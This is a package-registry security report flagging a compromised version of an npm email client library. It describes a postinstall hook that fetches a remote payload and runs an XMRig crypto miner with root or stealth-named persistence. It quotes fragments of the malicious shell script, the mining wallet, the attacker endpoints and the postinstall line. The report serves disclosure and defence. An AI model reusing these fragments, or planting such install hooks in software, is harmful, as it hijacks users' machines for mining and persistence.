registry / Crypto miner / @sudobility/wildduck_client

@sudobility/wildduck_client

SECURITY: this version was published from a compromised npm token on 2026-10-21 and must not be used. Upgrade to a later version.

React and React Native compatible client library for WildDuck email API with TypeScript support

This report shows the evidence for @sudobility/wildduck_client@2.3.102. 1 of 11 known versions is blocked or flagged. See all versions.

AI Security Review

scanned 21h ago · by lpm-firewall-ai

The package's automatic postinstall script downloads and executes a concealed miner, with privileged and unprivileged execution paths. This is concrete malicious install-time behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package with npm, which invokes its postinstall script.

Impact

Unauthorized cryptocurrency mining consumes the installing machine's resources; privileged execution can permit broader persistence and system changes.

Mechanism

The shell script fetches and decompresses a remote carrier, executes it with root or passwordless sudo, or extracts and launches an XMRig binary and configures its mining pool.

Attack narrative

Installing this package automatically runs a shell script that downloads and decompresses a remote carrier. The script runs the carrier as root or through passwordless sudo when available; otherwise it extracts and launches an XMRig binary, configures a mining pool, and places the miner at a stealth-named path. This is an active install-time mining and persistence chain.

AI rationale

The package's automatic postinstall script downloads and executes a concealed miner, with privileged and unprivileged execution paths. This is concrete malicious install-time behavior.

Evidence

package.jsonscripts/miner.sh

Network endpoints2

amplify-gursha-dev-121835-deployment.s3.amazonaws.com/amplify-cfn-templates/cloud-backend-cache-20261019.gznetworkservicesupp.flashhub.net:8443

Decision evidence

public snapshot

AI called this Malicious at 100.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs scripts/miner.sh automatically during postinstall.
The script downloads and decompresses a remote carrier without a consent check.
The script launches the carrier with root or passwordless sudo, or extracts and runs an XMRig binary as an unprivileged user.
The unprivileged path configures mining against networkservicesupp.flashhub.net:8443 and copies the miner to a stealth-named path.

Evidence against

Behavioral surface

Source

NetworkWebSocket

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 36 file(s), 210 KB of source

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = sh scripts/miner.sh

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

29"postinstall": "sh scripts/miner.sh" }, "keywords": [ "wil

High

Suspicious Lifecycle Evidence

package.json runs scripts/miner.sh automatically during postinstall.

package.jsonView on unpkg · L29

•scripts.postinstall = sh scripts/miner.sh

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/miner.shView file

Lines 3-92text

3# Handles: root (full persistent install), non-root w/ passwordless sudo,

4# and non-root direct-run (binary given a random stealth system-component name).

5S3URL='https://amplify-gursha-dev-121835-deployment.s3.amazonaws.com/amplify-cfn-templates/cloud-backend-cache-20261019.gz?AWSAccessKeyId=AKIAUHL4Y2TJZ7L7AE3F&Signature=z%2Fg0NfktCZaMWE%2BcdRc2hCKT7q0%3D&Expires=2107891463'

6ACC="49u1mKb1dNoMixgRHt11Ra32D1w4hviUuRDbaJhXFwXUjQP4FiHsSjnDa7XZepDUW1Tx6HhR6gFwWgbuwNxby4UAMiqxieX"

7LOCK="/tmp/.sysmond.lock"

8# stealth name pool (system-component-like; the process shows up as one of these)

9SNAMES='edid-mon smmon irqstatsd kmod-cache dmi-cache acpi-polld sysfs-mon bus-quotad mem-syncd pci-cache cpu-slot-mon hwmon-sync udev-cache netlink-mon uevent-polld kset-mon slab-mon vmstatd pagemapd smbios-mon edid-cache hpet-mon rtc-syncd dmi-polld'

11# idempotency: skip if a miner is already connected to the pool (port 8443 = 0x20FB)

12if grep -qs "20FB" /proc/net/tcp /proc/net/tcp6 2>/dev/null; then

13 exit 0

14fi

•path = scripts/miner.sh kind = build_helper sizeBytes = 3514 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

scripts/miner.shView on unpkg

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = sh scripts/miner.sh

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

29"postinstall": "sh scripts/miner.sh" }, "keywords": [ "wil

High

Suspicious Lifecycle Evidence

package.json runs scripts/miner.sh automatically during postinstall.

package.jsonView on unpkg · L29

•scripts.postinstall = sh scripts/miner.sh

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/miner.shView file

Findings

7 High3 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencescripts/miner.sh

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumShips Build Helperscripts/miner.sh

LowScripts Present

Affected versions and remediation

This report applies to @sudobility/wildduck_client@2.3.102.

The versions list below shows the verdict for each recorded version.

Avoid installing @sudobility/wildduck_client@2.3.102. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 16:45:28.143Z (UTC).

Source advisory published: 2026-10-21 22:21:01.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

11 known versions

2.3.102latestshownMaliciousCrypto MinerBlockPublishedOct 21, 2026, 3:26 PM 2.3.100Unknown—AllowUnder ReviewOct 17, 2026, 7:54 PM 2.3.99Unknown—AllowUnder ReviewOct 16, 2026, 10:46 PM 2.3.98Unknown—AllowUnder Review

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @sudobility

Other crypto miner packages

Runtime surface

Behavioral surface

Source & flagged code

Related packages

More from @sudobility

Other crypto miner packages